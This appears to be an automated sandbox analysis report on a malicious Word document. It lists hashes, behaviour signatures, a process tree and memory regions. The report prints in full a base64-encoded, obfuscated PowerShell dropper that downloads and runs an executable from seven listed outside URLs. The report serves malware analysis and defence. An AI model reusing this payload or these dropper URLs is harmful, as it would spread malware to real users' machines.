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Analysis

  • max time kernel
    101s
  • max time network
    41s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    07/09/2024, 23:58

General

  • Target

    d318f3b6d53e6d4da4a67fc3ffb7cb1f_JaffaCakes118.doc

  • Size

    169KB

  • MD5

    d318f3b6d53e6d4da4a67fc3ffb7cb1f

  • SHA1

    7c57dc98ffd144396528c1b9f5d674c6f5acae59

  • SHA256

    65bf16cbd3175b7dda73dded17b19b4dc8d8501e4c40140b053ba45dcd480ffc

  • SHA512

    0bcfbd3fbb34f6b188ca1b5f38aa06a134355361fb7390ccc720e3fe90ec863e70c34bac43ff4f018c5891e62ca24b4615a72ffd7b08703ef2746484b462dd38

  • SSDEEP

    1536:vGGGGGGGGGG2xJLEt+LaaGGGGGGGGGGjLo9xiP+rIiZo7dLeqH74OC+pO4am35HP:trfrzOH98ipgDlqwi

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://theccwork.com/mail.theccwork.com/IJp/

exe.dropper

https://www.retirementprofessional.com/wp-admin/tjQ/

exe.dropper

https://writingfromling.live/wp-admin/GL/

exe.dropper

http://shahqutubuddin.org/ix/

exe.dropper

https://jumpstart.store/wp-admin/q/

exe.dropper

https://aidenshirt.com/wp-admin/e6f/

exe.dropper

https://edenrug.store/wp-admin/H/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\d318f3b6d53e6d4da4a67fc3ffb7cb1f_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2952
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2632
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -encod JABUADMAaABmAHMAOAB5AD0AKAAoACcARwA2ACcAKwAnAHIAJwArACcAMQA0AG0AJwApACsAJwB3ACcAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUAbgBWADoAVQBzAEUAcgBwAHIATwBGAEkATABFAFwAbQAzAFkAZgBhADAAOQBcAGYARQBkAG0AUQBzAFUAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIAZQBDAFQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBgAEMAYABVAGAAUgBpAFQAeQBwAHIATwBgAFQATwBjAG8AbAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAMgAnACkAKwAoACcALAAgACcAKwAnAHQAJwApACsAJwBsACcAKwAoACcAcwAnACsAJwAxADEAJwApACsAJwAsACAAJwArACgAJwB0ACcAKwAnAGwAcwAnACkAKQA7ACQAUgBjAG0AOABjAGIAegAgAD0AIAAoACgAJwBLACcAKwAnADIAbgAnACkAKwAnAGcAcQAnACsAKAAnADkAcgAnACsAJwBoACcAKQApADsAJABVAHoAZgBzADUAXwBnAD0AKAAoACcARgBmACcAKwAnAGwAJwApACsAJwA1ACcAKwAoACcAdABxACcAKwAnAHYAJwApACkAOwAkAEQAZwAzADgAawB2AGYAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAegAnACsAKAAnAG8ASgAnACsAJwBNADMAeQAnACkAKwAoACcAZgBhADAAOQAnACsAJwB6AG8AJwApACsAKAAnAEoAJwArACcARgBlAGQAbQBxAHMAdQAnACsAJwB6ACcAKQArACcAbwAnACsAJwBKACcAKQAuACIAcgBFAGAAcABgAEwAQQBDAEUAIgAoACgAWwBDAEgAYQBSAF0AMQAyADIAKwBbAEMASABhAFIAXQAxADEAMQArAFsAQwBIAGEAUgBdADcANAApACwAWwBzAHQAcgBpAE4AZwBdAFsAQwBIAGEAUgBdADkAMgApACkAKwAkAFIAYwBtADgAYwBiAHoAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAEcAOABmAHIAaQBoADgAPQAoACcATAAnACsAKAAnADkAMQAnACsAJwBlAG8AJwApACsAJwB5ADUAJwApADsAJABGADYAagBuAGwAagA0AD0AJgAoACcAbgAnACsAJwBlAHcALQBvAGIAagBlAGMAJwArACcAdAAnACkAIABOAGUAdAAuAHcARQBiAGMAbABJAEUATgB0ADsAJABBAG8AawBmADQAZgBpAD0AKAAnAGgAdAAnACsAJwB0ACcAKwAnAHAAJwArACgAJwA6ACcAKwAnAC8ALwB0AGgAJwArACcAZQAnACkAKwAnAGMAJwArACgAJwBjAHcAbwAnACsAJwByACcAKwAnAGsALgBjAG8AJwApACsAKAAnAG0ALwBtAGEAJwArACcAaQAnACkAKwAoACcAbAAnACsAJwAuAHQAaABlAGMAJwApACsAKAAnAGMAJwArACcAdwBvACcAKwAnAHIAawAuAGMAbwAnACkAKwAnAG0AJwArACgAJwAvAEkAJwArACcASgBwACcAKwAnAC8AKgBoAHQAdAAnACkAKwAnAHAAJwArACgAJwBzADoALwAvAHcAdwB3AC4AcgBlAHQAaQByAGUAbQBlACcAKwAnAG4AJwArACcAdABwACcAKwAnAHIAbwAnACsAJwBmAGUAcwAnACkAKwAoACcAcwBpAG8AJwArACcAbgAnACkAKwAoACcAYQBsACcAKwAnAC4AYwBvAG0ALwB3ACcAKwAnAHAALQBhAGQAbQBpAG4AJwArACcALwAnACsAJwB0AGoAUQAnACsAJwAvACoAaAB0ACcAKQArACcAdABwACcAKwAnAHMAOgAnACsAKAAnAC8AJwArACcALwB3AHIAaQAnACkAKwAoACcAdABpAG4AJwArACcAZwBmACcAKQArACgAJwByAG8AbQAnACsAJwBsAGkAJwApACsAKAAnAG4AJwArACcAZwAuACcAKQArACgAJwBsACcAKwAnAGkAdgAnACkAKwAoACcAZQAnACsAJwAvAHcAJwApACsAKAAnAHAALQAnACsAJwBhACcAKQArACgAJwBkAG0AJwArACcAaQAnACsAJwBuAC8ARwBMACcAKQArACcALwAnACsAKAAnACoAaAB0ACcAKwAnAHQAJwApACsAJwBwACcAKwAoACcAOgAvAC8AcwBoAGEAaABxAHUAdAB1AGIAdQAnACsAJwBkAGQAJwArACcAaQAnACsAJwBuACcAKQArACcALgAnACsAJwBvACcAKwAnAHIAJwArACgAJwBnACcAKwAnAC8AaQB4AC8AJwApACsAKAAnACoAaAB0ACcAKwAnAHQAcABzADoALwAnACsAJwAvAGoAdQAnACsAJwBtACcAKQArACgAJwBwAHMAdABhAHIAdAAuAHMAJwArACcAdAAnACkAKwAoACcAbwAnACsAJwByAGUALwAnACsAJwB3AHAALQBhAGQAJwApACsAKAAnAG0AaQAnACsAJwBuAC8AJwArACcAcQAvACoAaAAnACkAKwAnAHQAdAAnACsAKAAnAHAAJwArACcAcwA6AC8ALwAnACsAJwBhACcAKQArACgAJwBpAGQAZQAnACsAJwBuAHMAJwArACcAaABpACcAKQArACcAcgB0ACcAKwAoACcALgBjAG8AbQAnACsAJwAvACcAKwAnAHcAcAAnACkAKwAoACcALQBhACcAKwAnAGQAbQAnACsAJwBpAG4ALwBlADYAJwApACsAKAAnAGYALwAqAGgAdAAnACsAJwB0ACcAKwAnAHAAcwA6ACcAKQArACgAJwAvACcAKwAnAC8AZQBkACcAKwAnAGUAbgByACcAKQArACgAJwB1AGcALgAnACsAJwBzAHQAJwArACcAbwByAGUALwAnACkAKwAoACcAdwAnACsAJwBwACcAKwAnAC0AYQBkAG0AaQBuACcAKQArACgAJwAvACcAKwAnAEgALwAnACkAKQAuACIAcwBQAEwAYABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABBADgAMQBpAHQAOQBwAD0AKAAnAEkAJwArACgAJwBnAHYAaABrADUAJwArACcANwAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFIAYwB5ADUAOQBlAGQAIABpAG4AIAAkAEEAbwBrAGYANABmAGkAKQB7AHQAcgB5AHsAJABGADYAagBuAGwAagA0AC4AIgBEAGAATwB3AE4ATABvAEEARABgAEYASQBgAGwAZQAiACgAJABSAGMAeQA1ADkAZQBkACwAIAAkAEQAZwAzADgAawB2AGYAKQA7ACQAVQBjAGcAYgBsADIAYQA9ACgAJwBVACcAKwAoACcAeABiACcAKwAnADcAawBiACcAKQArACcAZQAnACkAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQARABnADMAOABrAHYAZgApAC4AIgBsAGUAbgBnAGAAVABIACIAIAAtAGcAZQAgADMAMQAxADAAMQApACAAewAmACgAJwBJACcAKwAnAG4AdgBvAGsAZQAtACcAKwAnAEkAdABlACcAKwAnAG0AJwApACgAJABEAGcAMwA4AGsAdgBmACkAOwAkAEEANQB3ADEAbQB1AG0APQAoACgAJwBIAGYAJwArACcAYgB4ADEAaQAnACkAKwAnAHgAJwApADsAYgByAGUAYQBrADsAJABMAG0AbABzADMAXwBrAD0AKAAnAEQAJwArACcAcQAnACsAKAAnADgANwB1ACcAKwAnAHcAawAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQQA2AGsAYQBqAHUAcQA9ACgAJwBXAHYAJwArACgAJwBiAHYAJwArACcAXwAnACkAKwAnADAAYwAnACkA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2720

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      19KB

      MD5

      66244e672c216caceb53344b098fd8c6

      SHA1

      6c9155c2f3e773f1a612332a58436642c518dbce

      SHA256

      5dc53a73c7680f47bfda8b5bb39f18e5d12423cd9c9bbb06029642bffcd5639d

      SHA512

      b365bc7226064d367090c70522f16d442ca59d2a0a117f88a25289b5f0612b51d27cd39dee349ba8b7504945845808e8e42acb145dc021584ff2bdea4cb46f06

    • memory/2720-39-0x000000001B300000-0x000000001B5E2000-memory.dmp

      Filesize

      2.9MB

    • memory/2720-40-0x0000000002390000-0x0000000002398000-memory.dmp

      Filesize

      32KB

    • memory/2952-21-0x0000000005690000-0x0000000005790000-memory.dmp

      Filesize

      1024KB

    • memory/2952-45-0x000000007101D000-0x0000000071028000-memory.dmp

      Filesize

      44KB

    • memory/2952-0-0x000000002F531000-0x000000002F532000-memory.dmp

      Filesize

      4KB

    • memory/2952-22-0x0000000005690000-0x0000000005790000-memory.dmp

      Filesize

      1024KB

    • memory/2952-27-0x0000000005690000-0x0000000005790000-memory.dmp

      Filesize

      1024KB

    • memory/2952-32-0x0000000005690000-0x0000000005790000-memory.dmp

      Filesize

      1024KB

    • memory/2952-33-0x0000000005690000-0x0000000005790000-memory.dmp

      Filesize

      1024KB

    • memory/2952-6-0x0000000005690000-0x0000000005790000-memory.dmp

      Filesize

      1024KB

    • memory/2952-2-0x000000007101D000-0x0000000071028000-memory.dmp

      Filesize

      44KB

    • memory/2952-7-0x0000000005D20000-0x0000000005E20000-memory.dmp

      Filesize

      1024KB

    • memory/2952-46-0x0000000005690000-0x0000000005790000-memory.dmp

      Filesize

      1024KB

    • memory/2952-47-0x0000000005690000-0x0000000005790000-memory.dmp

      Filesize

      1024KB

    • memory/2952-48-0x0000000005690000-0x0000000005790000-memory.dmp

      Filesize

      1024KB

    • memory/2952-49-0x0000000005690000-0x0000000005790000-memory.dmp

      Filesize

      1024KB

    • memory/2952-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2952-66-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2952-67-0x000000007101D000-0x0000000071028000-memory.dmp

      Filesize

      44KB